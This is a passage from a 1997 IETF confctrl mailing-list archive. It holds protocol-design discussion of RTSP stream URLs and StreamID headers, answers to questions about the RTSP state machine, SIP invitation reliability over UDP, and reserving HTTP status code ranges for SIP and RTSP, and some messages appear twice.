believes should be the case, but rather what others may believe should
be the case*.

Every stream has an URL.  For instance, the way that this could map onto
what I have above is the following:

<source url="rtsp://foo.com/movie.rm">
  <stream url="rtsp://foo.com/movie.rm/audio">
  <stream url="rtsp://foo.com/movie.rm/video" playto="window1">
  <stream url="rtsp://foo.com/movie.rm/text" playto="window2">
</source>

Or it could be:
<source url="rtsp://foo.com/movie.rm?musicvideo=chiquitita">
  <stream url="rtsp://foo.com/movie.rm?musicvideo=chiquitita&track=audio">
  <stream url="rtsp://foo.com/movie.rm?musicvideo=chiquitita&track=video"
          playto="window1">
  <stream url="rtsp://foo.com/movie.rm?musicvideo=chiquitita&track=text" 
          playto="window2">
</source>

The point behind the URL discussion on the URI list is that the URL is and
should be an opaque, unique identifier.  Taken to an extreme:

<source url="rtsp://foo.com/uuid=abcd00000000000000000000">
  <stream url="rtsp://foo.com/uuid=1234cccccccccccccccccccc">
  <stream url="rtsp://foo.com/uuid=5678cccccccccccccccccccc"
          playto="window1">
  <stream url="rtsp://foo.com/uuid=9012cccccccccccccccccccc" 
          playto="window2">
</source>

The client would know to handle this as a 1-1-n presentation (one RTSP
session, multiple RTP streams) not by parsing any of the URLs, but by
noting the presense of the "ueber" url as an attribute of the source
tag.  The server could then accept or reject the 1-1-n behavior based on
what it knows of the requests coming in.  Let's take what would happen,
given the last example (and that this actually did describe a valid
1-1-n setup):

C->S: DESCRIBE rtsp://foo.com/uuid=abcd00000000000000000000
S->C: OK
      s= sample rtsp presentation
      r = rtsp://foo.com/uuid=abcd00000000000000000000 
                                               /* aggregate URL*/
      m= audio 0 RTP/AVP 0
      r = rtsp://foo.com/uuid=1234cccccccccccccccccccc 
                                               /* URL to control audio*/
      m=video 0 RTP/AVP 26
      r = rtsp://foo.com/uuid=5678cccccccccccccccccccc 
                                               /* URL to control video*/
      m=video 0 RTP/AVP 101
      r = rtsp://foo.com/uuid=9012cccccccccccccccccccc 
                                               /* URL to control text */

C->S: SETUP rtsp://foo.com/uuid=1234cccccccccccccccccccc
S->C: OK
      Session: 1234
C->S: SETUP rtsp://foo.com/uuid=5678cccccccccccccccccccc
      Session: 1234
S->C: OK
C->S: PLAY rtsp://foo.com/uuid=abcd00000000000000000000
      Session: 1234
S->C: OK
      (Both streams play).

Let's take an example, now, where we want to use relative URLs in the
"stream" tags instead of absolute URLs.  According to RFC 1808, this is
fine, so long as one uses "/" and not "?"  for queries (though standard
behavior from a web browser is to use "?"  when using <FORM method=GET
action="/cgi-bin/query">, so it would be difficult to have similar
behavior adding cgi behavior to RTSP)

Here's an example of how this would work:
<source url="rtsp://foo.com/movie.rm/musicvideo=chiquitita/index">
  <stream url="audio"
          playto="window1">
  <stream url="video" 
          playto="window2">
</source>

C->S: DESCRIBE rtsp://foo.com/movie.rm/musicvideo=chiquitita/index
S->C: OK
      s= sample rtsp presentation
      r = rtsp://foo.com/movie.rm/musicvideo=chiquitita/index 
                                               /* aggregate URL*/
      m= audio 0 RTP/AVP 0
      r = rtsp://foo.com/movie.rm/musicvideo=chiquitita/audio 
                                               /* URL to control audio*/
      m=video 0 RTP?AVP 26
      r = rtsp://foo.com/movie.rm/musicvideo=chiquitita/video 
                                               /* URL to control video*/
      m=video 0 RTP/AVP 101
      r = rtsp://foo.com/movie.rm/musicvideo=chiquitita/text 
                                               /* URL to control text*/

C->S: SETUP rtsp://foo.com/movie.rm/musicvideo=chiquitita/audio
S->C: OK
      Session: 1234
C->S: SETUP rtsp://foo.com/movie.rm/musicvideo=chiquitita/video
      Session: 1234
S->C: OK
C->S: PLAY rtsp://foo.com/movie.rm/musicvideo=chiquitita/index
      Session: 1234
S->C: OK
      (Both streams play).

Problems with current thinking on URLs
======================================

*  The relative URLs are prone to authoring errors
   
   Let's apply this now to a simple container file situation:

   <source url="rtsp://foo.com/chiquitita.rm/">
      <stream url="audio">
      <stream url="video" playto="window1">
      <stream url="text" playto="window2">
   </source>

   Notice the trailing slash at the end of chiquitita.rm.  This would be
   necessary in order to keep "audio" and "video from resolving without
   the chiquitita.rm part.  Let me explain:

   <source url="rtsp://foo.com/chiquitita.rm">
      <stream url="audio">
      <stream url="video" playto="window1">
      <stream url="text" playto="window2">
   </source>

   ...is incorrect, because translating the relative urls "audio" and
   "video" into absolute URLs results in "rtsp://foo.com/audio" and
   "rtsp://foo.com/video".  Would it be acceptable for a client to
   always assume an implicit traling slash on all source urls with
   substreams?  If so, this is less of an issue.  However, my reading of
   RFC 1808 says that this wouldn't be strictly complient, and thus may
   create some confusion.

*  Absolute URLs are prone to authoring errors:

   Let's assume we can live without relative URLs.  Let's do absolute,
   then:

   <source url="rtsp://foo.com/chiquitita.rm">
      <stream url="rtsp://foo.com/chiquitita.rm/audio">
      <stream url="rtsp://foo.com/chiquitita.rm/video" playto="window1">
      <stream url="rtsp://foo.com/chiquitita.rm/text" playto="window2">
   </source>

   This would actually work, since now the urls can be treated as opaque
   strings by the client.  However, this means that one slip in any of
   the urls causes problems.  Not a big deal, but that's a lot more that
   can go wrong than in the case of relative URLs.  Consider the
   following:

   <source url="rtsp://foo.com/chiquitita.rm">
      <stream url="rtsp://foo.com/chiquatita.rm/audio">
      <stream url="rtsp://foo.com/chiquatita.rm/video" playto="window1">
      <stream url="rtsp://foo.com/chiquatita.rm/text" playto="window2">
   </source>

   It's pretty difficult to catch the error in the RTSL above, because
   there is just way more verbiage than there should be.

*  All URLs are ambiguous to the server

   Wouldn't it be nice to have a *standard* way of dealing with
   container files that didn't rely on making the container appear to be
   directory on the server?  This makes a little extra work for the
   server to really figure out what is going on.  Not a lot, mind you,
   but it just seems sloppy.

Now, the nice thing about making these things into IDs that are sent in
portions of the protocol other than the URL is that it gets the client
out of the URL construction/decryption business, and allows the client
to have multiprotocol support without imposing lots of authoring
scenarios on content authors.

Consider, for instance, the top piece of RTSL:

<source url="rtsp://foo.com/movie.rm">
  <stream id="audio">
  <stream id="video" playto="window1">
  <stream id="text" playto="window2">
</source>

If we have the ids sent in the 822 headers, then it's very clear how the
client should deal with this piece of RTSL with the server.

Also, notice that if we change the source URL to http, we still can have
reasonably network-friendly behavior from the client:

<source url="http://foo.com/movie.rm">
  <stream id="audio">
  <stream id="video" playto="window1">
  <stream id="text" playto="window2">
</source>

In this case, the client can engage in HTTP psuedo-streaming, and split
each of the fragments off at the client side.  From an authoring
perspective, nothing has changed, other than the source of the stream.

Now, I'm not going to make the claim that it's impossible to come up
with an URL format that will address the issues that I have above.
I just hope that we can resolve this in a timely manner.

Thanks
Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Mon Jul 21 18:07:35 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09989>; Tue, 22 Jul 1997 01:07:43 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA09983>; Tue, 22 Jul 1997 01:07:42 -0700
Received: from murrow.prognet.com (prognet.com [205.219.198.1])
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id BAA12018
	for <confctrl@isi.edu>; Tue, 22 Jul 1997 01:07:41 -0700 (PDT)
Received: from robla.dev.prognet.com (mg-20425426-93.ricochet.net) by murrow.prognet.com with SMTP id AA14537
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Tue, 22 Jul 1997 01:13:10 -0700
Message-Id: <3.0.32.19970722010729.0113ad78@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Tue, 22 Jul 1997 01:07:35 -0700
To: confctrl@isi.edu
From: Rob Lanphier <robla@prognet.com>
Subject: RTSP URL issues
Cc: bill@syd.dit.csiro.au, "Roy T. Fielding" <fielding@kiwi.ics.uci.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I'm going to take another stab at explaining why we at PN are so adament
about wanting the StreamID in a method header field rather than in the
URL.

(i.e.  we'd like:
SETUP rtsp://foo.com/bar.rm RTSP/1.0 1
StreamID: audio
)

Below I'm going to discuss RTSL/RTSP integration.  RTSL, for those of
you who aren't aware, is the Real Time Session Language, which we are
shipping with the RealMedia SDK as the glue for presentations from
disparate files and file formats, and map them onto layout elements in a
web browser or in a standalone media player.

I realize that RTSL currently isn't being standardized within the MMUSIC
group (and since it's a file format, it probably doesn't belong here),
but I think the authoring scenarios are important here to understanding
why we at PN seem so dug in on this issue.

We are using RTSL as the media indirection half of the media
indirection/media initialization process that needs to happen prior to
playing a stream (see http://www.mbone.com/lists/confctrl.1997/0339.html
for the distinction).  So the idea is the following:

Client                                Server

http link
http request --------------------->  
             <---------------------  Media indirection (RTSL)
rtsp DESCRIBE -------------------->  
             <---------------------  Media initialization (SDP)
initialization complete

We would like to deal with container files in the following way in RTSL:

<source url="rtsp://foo.com/movie.rm">
  <stream id="audio">
  <stream id="video" playto="window1">
  <stream id="text" playto="window2">
</source>

This would instruct the client to fetch rtsp://foo.com/movie.rm and map
the text to the screen element "window1", and map the video to screen
element "window2" (in rough terms).  Note that there are no media
initialization parameters, because we think that content authors should
only be burdened with sequencing, grouping and layout information, and
not necessarily with getting every initialization parameter of the media
file will need.

Current Thinking on URLs
========================
Here's my understanding of how all of this URL talk maps into RTSL.  I
want to be clear: *the examples immediately below aren't what PN
believes should be the case, but rather what others may believe should
be the case*.

Every stream has an URL.  For instance, the way that this could map onto
what I have above is the following:

<source url="rtsp://foo.com/movie.rm">
  <stream url="rtsp://foo.com/movie.rm/audio">
  <stream url="rtsp://foo.com/movie.rm/video" playto="window1">
  <stream url="rtsp://foo.com/movie.rm/text" playto="window2">
</source>

Or it could be:
<source url="rtsp://foo.com/movie.rm?musicvideo=chiquitita">
  <stream url="rtsp://foo.com/movie.rm?musicvideo=chiquitita&track=audio">
  <stream url="rtsp://foo.com/movie.rm?musicvideo=chiquitita&track=video"
          playto="window1">
  <stream url="rtsp://foo.com/movie.rm?musicvideo=chiquitita&track=text" 
          playto="window2">
</source>

The point behind the URL discussion on the URI list is that the URL is and
should be an opaque, unique identifier.  Taken to an extreme:

<source url="rtsp://foo.com/uuid=abcd00000000000000000000">
  <stream url="rtsp://foo.com/uuid=1234cccccccccccccccccccc">
  <stream url="rtsp://foo.com/uuid=5678cccccccccccccccccccc"
          playto="window1">
  <stream url="rtsp://foo.com/uuid=9012cccccccccccccccccccc" 
          playto="window2">
</source>

The client would know to handle this as a 1-1-n presentation (one RTSP
session, multiple RTP streams) not by parsing any of the URLs, but by
noting the presense of the "ueber" url as an attribute of the source
tag.  The server could then accept or reject the 1-1-n behavior based on
what it knows of the requests coming in.  Let's take what would happen,
given the last example (and that this actually did describe a valid
1-1-n setup):

C->S: DESCRIBE rtsp://foo.com/uuid=abcd00000000000000000000
S->C: OK
      s= sample rtsp presentation
      r = rtsp://foo.com/uuid=abcd00000000000000000000 
                                               /* aggregate URL*/
      m= audio 0 RTP/AVP 0
      r = rtsp://foo.com/uuid=1234cccccccccccccccccccc 
                                               /* URL to control audio*/
      m=video 0 RTP/AVP 26
      r = rtsp://foo.com/uuid=5678cccccccccccccccccccc 
                                               /* URL to control video*/
      m=video 0 RTP/AVP 101
      r = rtsp://foo.com/uuid=9012cccccccccccccccccccc 
                                               /* URL to control text */

C->S: SETUP rtsp://foo.com/uuid=1234cccccccccccccccccccc
S->C: OK
      Session: 1234
C->S: SETUP rtsp://foo.com/uuid=5678cccccccccccccccccccc
      Session: 1234
S->C: OK
C->S: PLAY rtsp://foo.com/uuid=abcd00000000000000000000
      Session: 1234
S->C: OK
      (Both streams play).

Let's take an example, now, where we want to use relative URLs in the
"stream" tags instead of absolute URLs.  According to RFC 1808, this is
fine, so long as one uses "/" and not "?"  for queries (though standard
behavior from a web browser is to use "?"  when using <FORM method=GET
action="/cgi-bin/query">, so it would be difficult to have similar
behavior adding cgi behavior to RTSP)

Here's an example of how this would work:
<source url="rtsp://foo.com/movie.rm/musicvideo=chiquitita/index">
  <stream url="audio"
          playto="window1">
  <stream url="video" 
          playto="window2">
</source>

C->S: DESCRIBE rtsp://foo.com/movie.rm/musicvideo=chiquitita/index
S->C: OK
      s= sample rtsp presentation
      r = rtsp://foo.com/movie.rm/musicvideo=chiquitita/index 
                                               /* aggregate URL*/
      m= audio 0 RTP/AVP 0
      r = rtsp://foo.com/movie.rm/musicvideo=chiquitita/audio 
                                               /* URL to control audio*/
      m=video 0 RTP?AVP 26
      r = rtsp://foo.com/movie.rm/musicvideo=chiquitita/video 
                                               /* URL to control video*/
      m=video 0 RTP/AVP 101
      r = rtsp://foo.com/movie.rm/musicvideo=chiquitita/text 
                                               /* URL to control text*/

C->S: SETUP rtsp://foo.com/movie.rm/musicvideo=chiquitita/audio
S->C: OK
      Session: 1234
C->S: SETUP rtsp://foo.com/movie.rm/musicvideo=chiquitita/video
      Session: 1234
S->C: OK
C->S: PLAY rtsp://foo.com/movie.rm/musicvideo=chiquitita/index
      Session: 1234
S->C: OK
      (Both streams play).

Problems with current thinking on URLs
======================================

*  The relative URLs are prone to authoring errors
   
   Let's apply this now to a simple container file situation:

   <source url="rtsp://foo.com/chiquitita.rm/">
      <stream url="audio">
      <stream url="video" playto="window1">
      <stream url="text" playto="window2">
   </source>

   Notice the trailing slash at the end of chiquitita.rm.  This would be
   necessary in order to keep "audio" and "video from resolving without
   the chiquitita.rm part.  Let me explain:

   <source url="rtsp://foo.com/chiquitita.rm">
      <stream url="audio">
      <stream url="video" playto="window1">
      <stream url="text" playto="window2">
   </source>

   ...is incorrect, because translating the relative urls "audio" and
   "video" into absolute URLs results in "rtsp://foo.com/audio" and
   "rtsp://foo.com/video".  Would it be acceptable for a client to
   always assume an implicit traling slash on all source urls with
   substreams?  If so, this is less of an issue.  However, my reading of
   RFC 1808 says that this wouldn't be strictly complient, and thus may
   create some confusion.

*  Absolute URLs are prone to authoring errors:

   Let's assume we can live without relative URLs.  Let's do absolute,
   then:

   <source url="rtsp://foo.com/chiquitita.rm">
      <stream url="rtsp://foo.com/chiquitita.rm/audio">
      <stream url="rtsp://foo.com/chiquitita.rm/video" playto="window1">
      <stream url="rtsp://foo.com/chiquitita.rm/text" playto="window2">
   </source>

   This would actually work, since now the urls can be treated as opaque
   strings by the client.  However, this means that one slip in any of
   the urls causes problems.  Not a big deal, but that's a lot more that
   can go wrong than in the case of relative URLs.  Consider the
   following:

   <source url="rtsp://foo.com/chiquitita.rm">
      <stream url="rtsp://foo.com/chiquatita.rm/audio">
      <stream url="rtsp://foo.com/chiquatita.rm/video" playto="window1">
      <stream url="rtsp://foo.com/chiquatita.rm/text" playto="window2">
   </source>

   It's pretty difficult to catch the error in the RTSL above, because
   there is just way more verbiage than there should be.

*  All URLs are ambiguous to the server

   Wouldn't it be nice to have a *standard* way of dealing with
   container files that didn't rely on making the container appear to be
   directory on the server?  This makes a little extra work for the
   server to really figure out what is going on.  Not a lot, mind you,
   but it just seems sloppy.

Now, the nice thing about making these things into IDs that are sent in
portions of the protocol other than the URL is that it gets the client
out of the URL construction/decryption business, and allows the client
to have multiprotocol support without imposing lots of authoring
scenarios on content authors.

Consider, for instance, the top piece of RTSL:

<source url="rtsp://foo.com/movie.rm">
  <stream id="audio">
  <stream id="video" playto="window1">
  <stream id="text" playto="window2">
</source>

If we have the ids sent in the 822 headers, then it's very clear how the
client should deal with this piece of RTSL with the server.

Also, notice that if we change the source URL to http, we still can have
reasonably network-friendly behavior from the client:

<source url="http://foo.com/movie.rm">
  <stream id="audio">
  <stream id="video" playto="window1">
  <stream id="text" playto="window2">
</source>

In this case, the client can engage in HTTP psuedo-streaming, and split
each of the fragments off at the client side.  From an authoring
perspective, nothing has changed, other than the source of the stream.

Now, I'm not going to make the claim that it's impossible to come up
with an URL format that will address the issues that I have above.
I just hope that we can resolve this in a timely manner.

Thanks
Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Tue Jul 22 02:21:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05538>; Tue, 22 Jul 1997 09:22:14 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05532>; Tue, 22 Jul 1997 09:22:13 -0700
Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47])
	by tnt.isi.edu (8.8.6/8.8.6) with ESMTP id JAA23118
	for <confctrl@ISI.EDU>; Tue, 22 Jul 1997 09:22:10 -0700 (PDT)
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id JAA12655
	for <confctrl@ISI.EDU>; Tue, 22 Jul 1997 09:21:30 -0700 (PDT)
Received: from electron ([204.29.186.92]) by dredd.mcom.com
          (Netscape Messaging Server 3.0)  with ESMTP id AAA3118;
          Tue, 22 Jul 1997 09:21:30 -0700
Message-Id: <33D4DE0A.B994B1F5@netscape.com>
Date: Tue, 22 Jul 1997 09:21:30 -0700
From: anup@netscape.com (Anup Rao)
Organization: Netscape Communications Corporation
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
Mime-Version: 1.0
To: Wayne Blackard <blackard@austin.ibm.com>
Cc: confctrl@isi.edu
Subject: Re: Questions regarding the RTSP Protocol State Machines
X-Priority: 3 (Normal)
References: <199707191942.OAA29294@ped.austin.ibm.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Wayne Blackard wrote:

> Hello,
>
> I have the following questions regarding the protocol state machines
> in the
> March 27 edition of the RTSP Internet-Draft:
>
> 1) From "Playing" or "Recording", does Teardown cause the state to
> change
>    to "Init" or "Ready"?
>         - the RTSP Internet-Draft specifies that the state is changed
> to
>           "Ready".  However, this is inconsistent with the description
> of
>            Teardown in section 9.6 which states that the resources for
>
>            the session/stream are freed.
>

Should be Init, its fixed.

> 2) From "Ready", does Teardown cause the state to change to "Init" or
> "Ready"?
>         - the RTSP Internet-Draft specifies that it remains in "Ready"
> state;
>           however, it seems that if resources are freed, then the
> state
>           should change to "Init".
>

Should be Init, its fixed.

> 3) From the server table, page 46, it shows that the only way to enter
> the
>    "Recording" state is from the "Playing" state.  Is this correct?
> It
>    seems to me that the normal way to enter the "Recording" state
> would be
>    to receive a Record command while in "Ready" state.
>

Again, you are right. We've added the appropriate line.

> 5) Does the server enter the "Ready" state at end of stream/file (i.e.
> like
>    a Pause command)?
>

Yes, it does. We have put it in.

Thanks,
--
-----------------------------------------------------------------
  Anup Rao
  Member Of Technical Staff
  Netscape Communications Corp.
  email : anup@netscape.com         Phone : (415) 937 3129
-----------------------------------------------------------------



From majordom@ISI.EDU  Tue Jul 22 02:21:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05538>; Tue, 22 Jul 1997 09:22:14 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA05532>; Tue, 22 Jul 1997 09:22:13 -0700
Received: from netscape.com (h-205-217-237-47.netscape.com [205.217.237.47])
	by tnt.isi.edu (8.8.6/8.8.6) with ESMTP id JAA23118
	for <confctrl@ISI.EDU>; Tue, 22 Jul 1997 09:22:10 -0700 (PDT)
Received: from dredd.mcom.com (dredd.mcom.com [205.217.237.54])
	by netscape.com (8.8.5/8.8.5) with ESMTP id JAA12655
	for <confctrl@ISI.EDU>; Tue, 22 Jul 1997 09:21:30 -0700 (PDT)
Received: from electron ([204.29.186.92]) by dredd.mcom.com
          (Netscape Messaging Server 3.0)  with ESMTP id AAA3118;
          Tue, 22 Jul 1997 09:21:30 -0700
Message-Id: <33D4DE0A.B994B1F5@netscape.com>
Date: Tue, 22 Jul 1997 09:21:30 -0700
From: anup@netscape.com (Anup Rao)
Organization: Netscape Communications Corporation
X-Mailer: Mozilla 4.01 [en] (WinNT; U)
Mime-Version: 1.0
To: Wayne Blackard <blackard@austin.ibm.com>
Cc: confctrl@isi.edu
Subject: Re: Questions regarding the RTSP Protocol State Machines
X-Priority: 3 (Normal)
References: <199707191942.OAA29294@ped.austin.ibm.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Wayne Blackard wrote:

> Hello,
>
> I have the following questions regarding the protocol state machines
> in the
> March 27 edition of the RTSP Internet-Draft:
>
> 1) From "Playing" or "Recording", does Teardown cause the state to
> change
>    to "Init" or "Ready"?
>         - the RTSP Internet-Draft specifies that the state is changed
> to
>           "Ready".  However, this is inconsistent with the description
> of
>            Teardown in section 9.6 which states that the resources for
>
>            the session/stream are freed.
>

Should be Init, its fixed.

> 2) From "Ready", does Teardown cause the state to change to "Init" or
> "Ready"?
>         - the RTSP Internet-Draft specifies that it remains in "Ready"
> state;
>           however, it seems that if resources are freed, then the
> state
>           should change to "Init".
>

Should be Init, its fixed.

> 3) From the server table, page 46, it shows that the only way to enter
> the
>    "Recording" state is from the "Playing" state.  Is this correct?
> It
>    seems to me that the normal way to enter the "Recording" state
> would be
>    to receive a Record command while in "Ready" state.
>

Again, you are right. We've added the appropriate line.

> 5) Does the server enter the "Ready" state at end of stream/file (i.e.
> like
>    a Pause command)?
>

Yes, it does. We have put it in.

Thanks,
--
-----------------------------------------------------------------
  Anup Rao
  Member Of Technical Staff
  Netscape Communications Corp.
  email : anup@netscape.com         Phone : (415) 937 3129
-----------------------------------------------------------------



From majordom@ISI.EDU  Wed Jul 23 11:34:58 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00547>; Wed, 23 Jul 1997 12:42:04 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA00526>; Wed, 23 Jul 1997 12:41:53 -0700
Received: from dirty.research.bell-labs.com ([204.178.16.6] (may be forged))
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id MAA18479;
	Wed, 23 Jul 1997 12:41:44 -0700 (PDT)
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Wed Jul 23 15:38:01 EDT 1997
Received: from sea.dnrc.bell-labs.com ([135.180.144.10]) by research; Wed Jul 23 15:38:01 EDT 1997
Received: from sea (localhost [127.0.0.1]) by sea.dnrc.bell-labs.com (8.7.5/8.7.3) with SMTP id PAA21915; Wed, 23 Jul 1997 15:34:58 -0400 (EDT)
Message-Id: <33D65CE2.301D@cs.columbia.edu>
Date: Wed, 23 Jul 1997 15:34:58 -0400
From: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: Eve Schooler <schooler@cs.caltech.edu>, Mark Handley <mjh@isi.edu>,
        confctrl@isi.edu
Subject: SIP reliability
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

For UDP, SIP requests and replies are matched up using the Call-ID
header field, under the assumption that there is only one outstanding
request per call at any given time.

For requests such as OPTIONS or BYE which only return one return code,
reliability is easy to provide: the client simply retransmits the
request until it receives a reply. Since the requests are idempotent,
the server does not know or care whether a request is a retransmission
or another request.

However, the SIP invitation requires special consideration for several
reasons:

(1) After the invitation, a considerable time may elapse before the
server can determine the outcome.  In particular, the called party may
be ``rung'' or extensive searches may be performed, so delays can reach
several tens of seconds. To indicate progress to the caller, the server
returns a 1xx informational response indicating the it is searching or
ringing the user.

If a telephony interface is modeled or if we need to interface to PSTN,
the caller will provide ringback, a signal that the callee is being
alerted.  Once the callee picks up, the caller needs to know so that it
can enable the voice path and stop ringback.  The response code from the
callee could get lost and the callee has no way of knowing this. Thus,
the caller will continue to hear ringback and the callee will think that
the call exists.

(2) The client may decide to abort the call. If TCP is used, it can
signal this by dropping the connection. With UDP, the called party would
continue to be alerted, possibly pick up and send data (``hello ...
hello?'') to an RTP port which may by then be used for a different phone
call. Thus, the calling party needs to have the ability to abort a call
attempt.

Possible solutions:
[Confirm]:

The caller sends the invitation, repeating it at fixed or increasing
intervals if there is 1xx (progress) response.  The server sends a
single indication of progress as progress changes.  Eventually, the
server returns a 200 (OK) code and requests confirmation by including a
'Confirm:  requested'.  The caller then reissues the invitation (if
still interested in the call) with a 'Confirm:  yes' or 'Confirm:  no'
header.  The callee acknowledges this second request as normal, but
without 'Confirm' header.

Messages needed: 2 C->S, 2 S->C
Solves (1):  partially, however, it's the *caller* that needs a reliable
200 code to stop ringback, but here, the callee requests confirmation.

Solves (2): no, since the callee will continue to be rung after the
caller has hung up; needs a BYE request to allow the callee to terminate
the call

[Handshake]:

As in [Confirm], but the callee keeps retransmitting the 200 (OK) or
other final response code until it gets a 'CONFIRMED' request, which it
acks once. (The client can ignore the ack.) This is similar to making
'Confirm: requested' mandatory, but CONFIRM does not carry a session
description.

Messages needed: 
  C->S: 2
  S->C: 2

Solves (1): yes; this also has the advantage that a UDP-TCP proxy can
now release any transaction state since it knows that the UDP client has
received the final response (since the UDP client does not rely on a
response for CONFIRMED, loss of the response to that request is
unimportant)

Solves (2): no, same as above

[RepeatReq]:The caller issues an invitation; the callee periodically (every second
or so) sends a status update, until it sends one copy of the final
status code. The client repeats the invitation if it does not get a
report for more than the normal interval. Thus, if the 2xx response is
lost, the caller will reissue the INVITE and eventually get it.

Messages needed: 
  C->S: 1
  S->C: one per second of ringing (BAD)

Solves (1): yes
Solves (2): no, same as above 

[RepeatReqRes]:

Same as [RepeatReq], except that the callee expects to get periodic
"refreshes" of the invitation or it stops ringing.

Messages needed: 
  C->S: one per second of ringing (BAD)
  S->C: one per second of ringing (BAD)

Solves (1): yes
Solves (2): yes

RECOMMENDATION:

[Handshake] + BYE, since the other solutions are either antisocial (if
robots are on one or both ends, a failure could have a caller or callee send
packets for days on end); BYE is needed to cleanly terminate an on-going
call attempt.


Comments and other suggestions are welcome. Since this is required for
interoperability, I'd like to get this right for the next revision of
the draft, due out be week's end.

Thanks.

Henning

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 908 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Jul 23 12:17:22 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02399>; Wed, 23 Jul 1997 13:23:48 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA02393>; Wed, 23 Jul 1997 13:23:47 -0700
Received: from dirty.research.bell-labs.com ([204.178.16.6] (may be forged))
	by tnt.isi.edu (8.8.6/8.8.6) with SMTP id NAA20163
	for <confctrl@isi.edu>; Wed, 23 Jul 1997 13:23:46 -0700 (PDT)
Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Wed Jul 23 16:20:25 EDT 1997
Received: from sea.dnrc.bell-labs.com ([135.180.144.10]) by research; Wed Jul 23 16:20:27 EDT 1997
Received: from sea (localhost [127.0.0.1]) by sea.dnrc.bell-labs.com (8.7.5/8.7.3) with SMTP id QAA22565; Wed, 23 Jul 1997 16:17:22 -0400 (EDT)
Message-Id: <33D666D2.6C52@cs.columbia.edu>
Date: Wed, 23 Jul 1997 16:17:22 -0400
From: "Henning Schulzrinne (BL)" <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 5.4 sun4m)
Mime-Version: 1.0
To: http-wg@cuckoo.hpl.hp.com
Cc: confctrl@isi.edu
Subject: HTTP status codes
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I brought this up at the San Jose meeting, but there never was a
satisfactory (official) answer, as far as I remember.

SIP and RTSP re-use a number of HTTP status codes, among other
properties. It is likely that they may need to or want to adopt other
HTTP status codes that emerge in the future. Thus, it is desirable that
the SIP and RTSP-specific status codes do not conflict with HTTP codes.

One possible solution: Declare officially that HTTP will only use status
codes up to x49 (say) and leave others for private extensions, including
SIP and RTSP.

(Note to HTTP-WG: SIP and RTSP are described, inter alia, at  and
http://www.cs.columbia.edu/~hgs/rtsp and
http://www.cs.columbia.edu/~hgs/sip)

Comments and decisions are appreciated.

Henning
-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 908 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From majordom@ISI.EDU  Wed Jul 23 12:55:35 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04436>; Wed, 23 Jul 1997 13:55:40 -0700
Received: from tnt.isi.edu by zephyr.isi.edu (5.65c/5.61+local-26)
	id <AA04426>; Wed, 23 Jul 1997 13:55:37 -0700
Received: from mescaline.gnu.ai.mit.edu (devnull@mescaline.gnu.ai.mit.edu [128.52.46.63])
	by tnt.isi.edu (8.8.6/8.8.6) with ESMTP id NAA21631
	for <confctrl@isi.edu>; Wed, 23 Jul 1997 13:55:36 -0700 (PDT)
Received: by mescaline.gnu.ai.mit.edu (8.8.5/8.6.12GNU) id QAA21541; Wed, 23 Jul 1997 16:55:35 -0400
Date: Wed, 23 Jul 1997 16:55:35 -0400
Message-Id: <199707232055.QAA21541@mescaline.gnu.ai.mit.edu>
